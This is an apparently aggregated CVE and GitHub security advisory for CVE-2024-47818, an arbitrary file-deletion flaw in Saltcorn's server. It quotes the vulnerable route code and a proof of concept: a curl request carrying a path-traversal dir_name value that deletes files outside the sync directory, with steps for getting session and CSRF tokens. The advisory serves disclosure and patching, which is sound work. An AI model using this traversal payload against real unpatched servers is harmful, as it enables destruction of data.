CVE-2024-47818
JSON

6.5medium

Logged-in users with any role can delete arbitrary files in @saltcorn/server

Severity
6.5medium CVSS:3.1 by GitHub_M
Exploit likelihood
1.05% (higher than 64% of CVEs)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-43f3-h63w-p6f6

Description

Saltcorn is an extensible, open source, no-code database application builder. A logged-in user with any role can delete arbitrary files on the filesystem by calling the `sync/clean_sync_dir` endpoint. The `dir_name` POST parameter is not validated/sanitized and is used to construct the `syncDir` that is deleted by calling `fs.rm`. This issue has been addressed in release version 1.0.0-beta16 and all users are advised to upgrade. There are no known workarounds for this vulnerability.

Affected

Product or packageVersionsReported by
saltcorn saltcorn< 1.0.0-beta.16CVE List
saltcorn_collective_ltd saltcornbefore 1.0.0-beta.16CVE List
@saltcorn/server (npm)before 1.0.0-beta.16GitHub Advisory Database

All scores

GitHub_M6.5medium CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
GitHub6.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
GitHubhigh CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Classification

CWE-22

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact partial.

What each source says

CVE List

Saltcorn is an extensible, open source, no-code database application builder. A logged-in user with any role can delete arbitrary files on the filesystem by calling the `sync/clean_sync_dir` endpoint. The `dir_name` POST parameter is not validated/sanitized and is used to construct the `syncDir` that is deleted by calling `fs.rm`. This issue has been addressed in release version 1.0.0-beta16 and all users are advised to upgrade. There are no known workarounds for this vulnerability.

GitHub Advisory Database
Summary

A logged-in user with any role can delete arbitrary files on the filesystem by calling the sync/clean_sync_dir endpoint. The dir_name POST parameter is not validated/sanitized and is used to construct the syncDir that is deleted by calling fs.rm.

Details
router.post(
  "/clean_sync_dir",
  error_catcher(async (req, res) => {
    const { dir_name } = req.body; // [1] source
    try {
      const rootFolder = await File.rootFolder();
      const syncDir = path.join(
        rootFolder.location,
        "mobile_app",
        "sync",
        dir_name // [2]
      );
      await fs.rm(syncDir, { recursive: true, force: true }); // [3] sink
      res.status(200).send("");
    } catch (error) {
      getState().log(2, `POST /sync/clean_sync_dir: '${error.message}'`);
      res.status(400).json({ error: error.message || error });
    }
  })
);
PoC

The following PoC can be executed with a user with any role (admin, staff, user, public)

  • create a file in a folder different from where the server is started:
touch /tmp/secret
cat /tmp/secret
  • log with a user and retrieve valid connect.sid and _csrf values***
  • send the following curl request
curl -i -X $'POST' \
  -H $'Host: localhost:3000' \
  -H $'Content-Type: application/x-www-form-urlencoded' \
  -H $'Content-Length: 93' \
  -H $'Origin: http://localhost:3000' \
  -H $'Connection: close' \
  -b $'connect.sid=VALID_CONNECT_SID_COOKIE; loggedin=true' \
  --data-binary $'_csrf=VALID_CSRF_VALUE&dir_name=/../../../../../../../../../../tmp/secret' \
  $'http://localhost:3000/sync/clean_sync_dir'
  • check if the file previously created does not exist anymore:
cat /tmp/secret
cat: /tmp/secret: No such file or directory

*** obtain connect.sid and _csrf values

A possible way to retrieve connect.sid and _csrf values is to use the password reset functionality:

  • log in
  • open the browser developer console, go to the Network tab filter for settings request
  • visit http://localhost:3000/auth/settings
  • trigger the change password functionality
  • under the Headers and Request tabs, grab the connect.sid and _csrf values and replace them in the curl command
Impact

Arbitrary file delete

Recommended Mitigation

Resolve the syncDir and check if it starts with rootFolder.location/mobile_app/sync.

NVD (es)

Saltcorn es un generador de aplicaciones de base de datos extensible, de código abierto y sin código. Un usuario conectado con cualquier función puede eliminar archivos arbitrarios en el sistema de archivos llamando al punto de conexión `sync/clean_sync_dir`. El parámetro POST `dir_name` no se valida ni se desinfecta y se utiliza para construir el `syncDir` que se elimina llamando a `fs.rm`. Este problema se ha solucionado en la versión de lanzamiento 1.0.0-beta16 y se recomienda a todos los usuarios que actualicen. No existen workarounds conocidas para esta vulnerabilidad.

References

Sources

SourceRecordLicence
CVE ListCVE-2024-47818 changed 2024-10-08CVE Terms of Use
GitHub Advisory DatabaseGHSA-43f3-h63w-p6f6 changed 2024-10-08CC-BY-4.0
NVDCVE-2024-47818 changed 2026-06-17Public domain